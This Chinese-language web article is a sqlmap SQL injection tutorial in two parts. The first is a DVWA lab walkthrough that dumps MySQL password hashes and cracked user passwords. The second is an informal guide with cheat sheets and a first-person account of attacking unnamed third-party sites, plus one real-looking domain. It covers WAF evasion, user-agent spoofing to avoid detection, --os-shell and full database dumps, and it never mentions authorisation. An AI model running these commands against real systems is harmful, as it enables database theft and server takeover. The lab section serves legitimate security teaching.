SQL注入之SQLmap入門 (注入檢測工具)

什么是SQLmap?
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數(shù)據(jù)庫指紋、訪問底層文件系統(tǒng)、執(zhí)行命令)。
讀者可以通過位于SourceForge的官方網(wǎng)站下載SQLmap源碼:http://sourceforge.net/projects/sqlmap/
為了方便大家使用腳本之家特提供一份無需安裝python環(huán)境的sqlmap:
SQLmap的作者是誰?
Bernardo DameleAssumpcao Guimaraes (@inquisb),讀者可以通過bernardo@sqlmap.org與他取得聯(lián)系,以及Miroslav Stampar (@stamparm)讀者可以通過miroslav@sqlmap.org與他聯(lián)系。
同時讀者也可以通過dev@sqlmap.org與SQLmap的所有開發(fā)者聯(lián)系。
執(zhí)行SQLmap的命令是什么?
進(jìn)入sqlmap.py所在的目錄,執(zhí)行以下命令:
#python sqlmap.py -h
(譯注:選項列表太長了,而且與最新版本有些差異,所以這里不再列出,請讀者下載最新版在自己機(jī)器上看吧)
SQLmap命令選項被歸類為目標(biāo)(Target)選項、請求(Request)選項、優(yōu)化、注入、檢測、技巧(Techniques)、指紋、枚舉等。
如何使用SQLmap:
為方便演示,我們創(chuàng)建兩個虛擬機(jī):
1、受害者機(jī)器, windows XP操作系統(tǒng),運行一個web服務(wù)器,同時跑著一個包含漏洞的web應(yīng)用(DVWA)。
2、攻擊器機(jī)器,使用Ubuntu 12.04,包含SQLmap程序。
本次實驗的目的:使用SQLmap得到以下信息:
3、枚舉MYSQL用戶名與密碼。
4、枚舉所有數(shù)據(jù)庫。
5、枚舉指定數(shù)據(jù)庫的數(shù)據(jù)表。
6、枚舉指定數(shù)據(jù)表中的所有用戶名與密碼。
使用SQLmap之前我們得到需要當(dāng)前會話cookies等信息,用來在滲透過程中維持連接狀態(tài),這里使用Firefox中名為“TamperData”的add-on獲取。
當(dāng)前得到的cookie為“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。
為方便演示,我們將DVWA安全等級設(shè)置為low:
接下來我們進(jìn)入頁面的“SQL Injection”部分,輸入任意值并提交??梢钥吹絞et請求的ID參數(shù)如下:
“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”
因此該頁面就是我們的目標(biāo)頁面。
以下命令可以用來檢索當(dāng)前數(shù)據(jù)庫和當(dāng)前用戶:
“./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”
使用選項:
1、–cookie : 設(shè)置我們的cookie值“將DVWA安全等級從high設(shè)置為low”
2、-u : 指定目標(biāo)URL
3、-b : 獲取DBMS banner
4、–current-db : 獲取當(dāng)前數(shù)據(jù)庫
5、–current-user:獲取當(dāng)前用戶
結(jié)果如下:
可以看到結(jié)果如下:
DBMS : MySQLversion 5.0 OS versionUbuntu 12.04 current user:root current db :DVWA
以下命令用來枚舉所有的DBMS用戶和密碼hash,在以后更進(jìn)一步的攻擊中可以對密碼hash進(jìn)行破解:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”Surname” --users --password”
使用選項:
1、–string : 當(dāng)查詢可用時用來匹配頁面中的字符串
2、–users : 枚舉DBMS用戶
3、–password : 枚舉DBMS用戶密碼hash
結(jié)果如下:
databasemanagement system users [142]: [*] ”@’kingasmk’ [*]”@’localhost’ [*]‘debian-sys-maint’@'localhost’ [*]‘phpmyadmin’@'localhost’ [*]‘root’@’127.0.0.1′ [*] ‘root’@'::1′ [*]‘root’@'kingasmk’ [*]‘root’@'localhost’
數(shù)據(jù)庫管理系統(tǒng)用戶和密碼hash:
[*]debian-sys-maint [1]: password hash:*C30441E06530498BC86019BF3211B94B3BAB295A [*] phpmyadmin[1]: password hash:*C30441E06530498BC86019BF3211B94B3BAB295A [*] root [4]: password hash: *C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A password hash:*C30441E06530498BC86019BF3211B94B3BAB295A
讀者可以使用Cain&Abel、John&Ripper等工具將密碼hash破解為明文。以下命令會枚舉系統(tǒng)中所有的數(shù)據(jù)庫schema:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”
使用選項:
-
–dbs: 枚舉DBMS中的數(shù)據(jù)庫
結(jié)果如下:
availabledatabases [5]: [*]dvwa [*]information_schema [*]mysql [*]performance_schema [*]phpmyadmin
下面我們嘗試枚舉DVWA數(shù)據(jù)表,執(zhí)行以下命令:
“sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”
使用選項:
1、-D : 要枚舉的DBMS數(shù)據(jù)庫
2、–tables : 枚舉DBMS數(shù)據(jù)庫中的數(shù)據(jù)表
得到結(jié)果如下:
Database: dvwa [2 tables] +————+ | guestbook | | users | +————+
下面獲取用戶表的列,命令如下:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”
使用選項:
-
-T : 要枚舉的DBMS數(shù)據(jù)庫表
-
–columns : 枚舉DBMS數(shù)據(jù)庫表中的所有列
結(jié)果如下:
Database: dvwa Table: users [6 columns] +————+————-+ | Column | Type| +————+————-+ | avatar |varchar(70) | | first_name |varchar(15) | | last_name |varchar(15) | | password |varchar(32) | | user |varchar(15) | | user_id |int(6) | +————+————-+
如上所示,以上為我們感興趣的列,表示用戶名與密碼等。下面將每一列的內(nèi)容提取出來。執(zhí)行以下命令,將用戶與密碼表中的所有用戶名與密碼dump出來:
“sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users-C user,password --dump”
使用選項:
-
-T : 要枚舉的DBMS數(shù)據(jù)表
-
-C: 要枚舉的DBMS數(shù)據(jù)表中的列
-
–dump : 轉(zhuǎn)儲DBMS數(shù)據(jù)表項
SQLmap會提問是否破解密碼,按回車確認(rèn):
得到所有用戶名與明文密碼如下:
Database: dvwa Table: users [5 entries] +———+———+———————————————+ | user_id | user| password | +———+———+———————————————+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) | | 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) | | 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) | | 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | | 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) | +———+———+———————————————+
這時我們就可以利用admin帳戶登錄做任何事了。
總結(jié):
SQLmap是一個非常強大的工具,可以用來簡化操作,并自動處理SQL注入檢測與利用。
[via infosecinstitute]
下面腳本之家小編為大家分享點實際點的:
mssql access 直接爆表.然后你懂的
BT5里面的話前面就要加python
sqlmap.py -u url --dbs //爆數(shù)據(jù)庫
sqlmap.py -u url --current-db //爆當(dāng)前庫
sqlmap.py -u url --current-user //爆當(dāng)前用戶
sqlmap.py -u url --users 查看用戶權(quán)限
sqlmap.py -u url --tables -D 數(shù)據(jù)庫 //爆表段
sqlmap.py -u url --columns -T 表段 -D 數(shù)據(jù)庫 //爆字段
sqlmap.py -u url --dump -C 字段 -T 表段 -D 數(shù)據(jù)庫 //猜解
sqlmap.py -u url --dump --start=1 --stop=3 -C 字段 -T 表段 -D 數(shù)據(jù)庫 //猜解1到3的字段
翻回來也可以
sqlmap.py -u url 判斷
sqlmap.py -u url --is-dba -v 這是判斷當(dāng)前數(shù)據(jù)庫的使用者是否是dba
sqlmap.py -u url --users -v 0 這句的目的是列舉數(shù)據(jù)庫的用戶
sqlmap.py -u url --passwords -v 0 這句的目的是獲取數(shù)據(jù)庫用戶的密碼
sqlmap.py -u url --privileges -v 0 這是判斷當(dāng)前的權(quán)限
sqlmap.py -u url --dbs -v 0 這句的目的是將所有的數(shù)據(jù)庫列出來
sqlmap.py -u url --tables -D '表' 爆表
sqlmap.py -u url --columns -T ‘表’-D ‘數(shù)據(jù)庫’爆列
sqlmap.py -u url --dump -T '表' --start 1 --stop 4 -v 0 這里是查詢第2到第4行的內(nèi)
sqlmap.py -u url --dump -all -v 0
這兒我們將所有的庫導(dǎo)出來,我想這就是前段時間盛傳的脫褲吧,在執(zhí)行這項操作的時候,會把所有的表里的內(nèi)容導(dǎo)入到當(dāng)前的一個目錄下,看著清楚明了,但是花費的時間和很長。
sqlmap -u "http://www.newwide.com/newsphp?class=news&id=5&page=1&catalog_id=2" --users --password 爆用戶密碼
最近看到很多大牛發(fā)sqlmap的視頻教程。
然后偶就屁顛屁顛滾去下了一個,然后尼瑪,一連從頭看到尾。。。。。。各種科普啊,看視頻有點浪費時間。
各位別去被坑爹了,來個sqlmap 簡易教程算了,何必浪費看視頻的時間。
sqlmap 再牛逼也就是個python的腳本,腳本再牛逼也得有–help -hh
所以第一件事當(dāng)然是滾去看幫助文檔。
sqlmap -hh
我操。。。。。。。這么多英文,多少只草泥馬在心中奔騰,咋辦,硬著頭皮看唄,有些人頭皮硬不了咋辦,簡單,來,哥教你簡單的
注入分法不同,種類不同,來個簡單的分類:
1.get型:sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx”
2.post型: sqlmap -u “http://xxx.xx.xxx/xx.xxx” –data=”xxxx=xxxx&xxxx=xxx”
3.cookie類注入: sqlmap -u “http://xxx.xx.xxx/xx.xxx?xx=xxx” –cookie=”xxx=xxx&xxx=xxx” –level=2
好,區(qū)分完畢再來后續(xù)的
需要數(shù)據(jù)庫好:–dbs
得到數(shù)據(jù)庫名稱xxx,需要表: -D xxx –tables
得到表名xxxx,需要段:-D xxx -T xxxx –columns
得到段內(nèi)有admin,password,需要值:-D xxx -T xxxx -C “admin,password” –dump
那么我們來理解一下,-D -T -C 是干嗎的,當(dāng)然就是知道其名稱,指定使用其。
–dbs –tables –columns 是干嗎的,當(dāng)然就是不知道名稱,列出來唄
–dump 那自然就是字面意思,類似于導(dǎo)出數(shù)據(jù)的行為
其實注入有了上面這幾個命令,妥妥的夠用了,不過還需要繞waf –tamper=”"
注入被識別出來是工具,斷開咋辦–user-agent=”"
再多牛逼的功能都是慢慢積累出來的,別想一口吃成胖子
好,跑數(shù)據(jù)庫就是這么簡單,于是呢來一個稍微有點干貨的例子:
http://www.xxx.com/login.asp有post注入,我想日了,但是我不想出去拷貝post數(shù)據(jù),很麻煩,我想讓sqlmap自動跑post注入
sqlmap -u “http://www.xxx.com/login.asp” –forms
很好,上面的命令成功的幫我跑了post注入,并且找到了post的注入點jjj=123
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –dbs
于是我用上面的命令看看數(shù)據(jù)庫
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj –is-dba
順便看看當(dāng)前用戶是不是dba
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -a
用了上面的命令 -a能得到什么呢:自己去看幫助吧。
幫你篩選了一下,-a下面的那些命令是用來看用戶,看主機(jī),看權(quán)限的。
后來呢,我發(fā)現(xiàn)權(quán)限還是挺高的,同時呢,我跑出來了數(shù)據(jù)庫名稱kkk
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –tables
同時我找到了網(wǎng)站路徑,然后我就又一次找到了sqlmap的牛逼的–os-xx系列命令,可以執(zhí)行系統(tǒng)命令,同時還發(fā)現(xiàn)了牛逼的xpcmdshell –os-shell
以及很多牛逼的文件操作命令–file-xx 這些命令在需要用的時候使用就是了,會給你帶來意想不到的驚喜
與此同時,我發(fā)現(xiàn)tables里面沒有我想要的東西,我也找不到合適的內(nèi)容,咋辦呢,心一橫,我決定把所有的數(shù)據(jù)庫內(nèi)容跑出來自己找,于是我這么做:
sqlmap -u “http://www.xxx.com/login.asp” –forms -p jjj -D kkk –dump-all
然后牛逼的sqlmap就開始跑啊跑,然后緊接著我的蛋就碎了,尼瑪,sqlmap一會就問你一次要不要破解密碼,要不要這個,要不要那個,我和我的小朋友們都想擦你妹夫,功夫不負(fù)有心人,我又看見了一個命令 –batch 可以自動選擇sqlmap默認(rèn)選項
于是,我可以和我的小朋友們玩耍去了,再也不用看著sqlmap拖庫了。
總結(jié)下來,幫助文檔還是很重要的,多看看,總會有些收獲:
為了避免各位看英文看到吐,大概總結(jié)下:
Target: 字面意思,目標(biāo),那么就是確定目標(biāo)的
Request: 字面意思,請求,就是定義請求內(nèi)容的,比如post數(shù)據(jù),http頭,cookie注入,http頭污染等等
Optimization:字面意思,調(diào)節(jié)性能,等等
Injection: 字面意思,注入的設(shè)置內(nèi)容基本在這里,比如指定注入點,指定db,指定系統(tǒng),等等
Detection:
基本就是用在確認(rèn)注入范圍,尋找注入點區(qū)域,這些
Technique:
基本用在確定注入手段,以及攻擊方式
Fingerprint:
基本用在指紋識別,用的很少
Enumeration:
枚舉信息,主要用在注入中,很重要,很常用
Brute force:
用來爆破,其實主要是枚舉tables columns用的
User-defined function injection:
現(xiàn)在只有udf提權(quán),以及指定一些自己定義的sqlmap腳本用,高端使用,求大牛指點
File system access
主要是文件讀取,文件寫入
Operating system access
主要用在對系統(tǒng)操作,例如os-shell 以及 后續(xù)的連接metasploit 實現(xiàn)后滲透攻擊
windows registry access
基本就是注冊表操作了
General
字面意思,綜合的內(nèi)容,一些特殊的功能實現(xiàn),我在這里找到了crawl batch這些非常好用的參數(shù)
Miscellaneous
目測高端應(yīng)用,還沒怎么用過,求大神指教
如上面總結(jié)的,大概紅字就是常用的命令,剩下的不常用里面也有很多很不錯,在特殊情況下適用的內(nèi)容,反正本貼科普而已。
字有點多,想看的菜鳥朋友認(rèn)真看下來應(yīng)該會有些收獲,菜鳥們?nèi)绻惺裁雌渌钠婕家?,還希望分享1、2 共同進(jìn)步!!
相關(guān)文章
SQLMAP Win 下Python環(huán)境運行不正常解決方法(已測)
這篇文章主要介紹了SQLMAP Win 下Python環(huán)境運行不正常解決方法(已測),需要的朋友可以參考下2015-09-04- 上一篇文章《sqlmap用戶手冊》其實只寫了大部分可能用到的參數(shù),還有些并未寫,這次補上~2014-07-29
- sqlmap 是一個自動SQL 射入工具。文章內(nèi)容有點長,但都是精華,讀者們耐心的看吧,續(xù)篇的鏈接在文末。2014-07-29
- sqlmap 是一個自動SQL 射入工具。本文收集了一些利用Sqlmap做注入測試的TIPS,其中也包含一點繞WAF的技巧,便于大家集中查閱,歡迎接樓補充、分享。2014-07-29
- 在Windows XP上安裝和運行SqlMap的步驟分享,其實就是安裝一個python,然后將gui界面復(fù)制到里面2015-09-03
- SQLMAP 視頻動畫教程,方便新手朋友2012-10-16
- 看大牛的視頻,學(xué)習(xí)一下,附上截圖 算是轉(zhuǎn)載吧...只是為了分享一下,方便需要的朋友2012-10-16
- SQLMAP 注射工具用法 著名黑客注射工具sqlmap的使用方法2012-10-16
sqlmap 一個自動SQL 射入工具(sqlmap.py)漢化直接可用版
sqlmap 是一個自動SQL 射入工具。它是可勝任執(zhí)行一個廣泛的數(shù)據(jù)庫管理系統(tǒng)后端指印, 檢索遙遠(yuǎn)的DBMS 數(shù)據(jù)庫, usernames, 桌, 專欄, 列舉整個DBMS, 讀了系統(tǒng)文件和利用導(dǎo)致S2015-01-04- 支持現(xiàn)在幾乎所有的數(shù)據(jù)庫,比國內(nèi)的任何工具都強。我都開始懷疑穿山甲是不是源自于它2012-10-01